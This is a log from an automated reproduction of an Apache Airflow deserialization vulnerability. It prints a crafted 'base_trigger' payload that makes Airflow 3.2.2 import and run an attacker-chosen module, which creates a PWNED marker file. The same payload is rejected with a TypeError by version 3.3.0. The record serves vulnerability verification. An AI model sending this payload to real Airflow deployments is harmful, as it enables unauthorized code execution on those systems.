=== CVE-2026-33264 Reproduction ===
ROOT: /data/pruva/runs/1d902323-6d89-4555-94b4-ca00d87d0bd4/bundle
REPO_DIR: /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo
Cache prepared: true
Vulnerable venv: /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/bin/python
Fixed venv: /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/bin/python
Vulnerable Airflow version: 3.2.2
Fixed Airflow version: 3.3.0
--- Running vulnerable attempt ---
2026-07-09T14:26:06.998747Z [info     ] setup plugin alembic.autogenerate.schemas [alembic.runtime.plugins] loc=plugins.py:37
2026-07-09T14:26:06.998905Z [info     ] setup plugin alembic.autogenerate.tables [alembic.runtime.plugins] loc=plugins.py:37
2026-07-09T14:26:06.998952Z [info     ] setup plugin alembic.autogenerate.types [alembic.runtime.plugins] loc=plugins.py:37
2026-07-09T14:26:06.999008Z [info     ] setup plugin alembic.autogenerate.constraints [alembic.runtime.plugins] loc=plugins.py:37
2026-07-09T14:26:06.999069Z [info     ] setup plugin alembic.autogenerate.defaults [alembic.runtime.plugins] loc=plugins.py:37
2026-07-09T14:26:06.999105Z [info     ] setup plugin alembic.autogenerate.comments [alembic.runtime.plugins] loc=plugins.py:37
MODULE-LEVEL-EXECUTED
[vulnerable] Airflow 3.2.2
[vulnerable] marker_exists_after=True exception=None
Vulnerable attempt exit code: 0
{
  "label": "vulnerable",
  "airflow_version": "3.2.2",
  "payload": "{<Encoding.TYPE: '__type'>: 'base_trigger', <Encoding.VAR: '__var'>: ['evil_trigger.EvilTrigger', {<Encoding.TYPE: '__type'>: 'dict', <Encoding.VAR: '__var'>: {}}]}",
  "module_dir": "/tmp/evil_trigger_mym9_bhn",
  "marker": "/tmp/evil_trigger_mym9_bhn/PWNED",
  "marker_exists_after": true,
  "exception_type": null,
  "exception_message": null
}--- Running fixed attempt ---
[fixed] Airflow 3.3.0
[fixed] marker_exists_after=False exception=TypeError
[fixed] TypeError: Invalid type base_trigger in deserialization.
Fixed attempt exit code: 0
{
  "label": "fixed",
  "airflow_version": "3.3.0",
  "payload": "{<Encoding.TYPE: '__type'>: 'base_trigger', <Encoding.VAR: '__var'>: ['evil_trigger.EvilTrigger', {<Encoding.TYPE: '__type'>: 'dict', <Encoding.VAR: '__var'>: {}}]}",
  "module_dir": "/tmp/evil_trigger_0oqqz90z",
  "marker": "/tmp/evil_trigger_0oqqz90z/PWNED",
  "marker_exists_after": false,
  "exception_type": "TypeError",
  "exception_message": "Invalid type base_trigger in deserialization."
}=== Verdict evaluation ===
Vulnerable marker created: true (exception=)
Fixed marker created: false (exception=TypeError)
Confirmed: true
Vulnerability confirmed.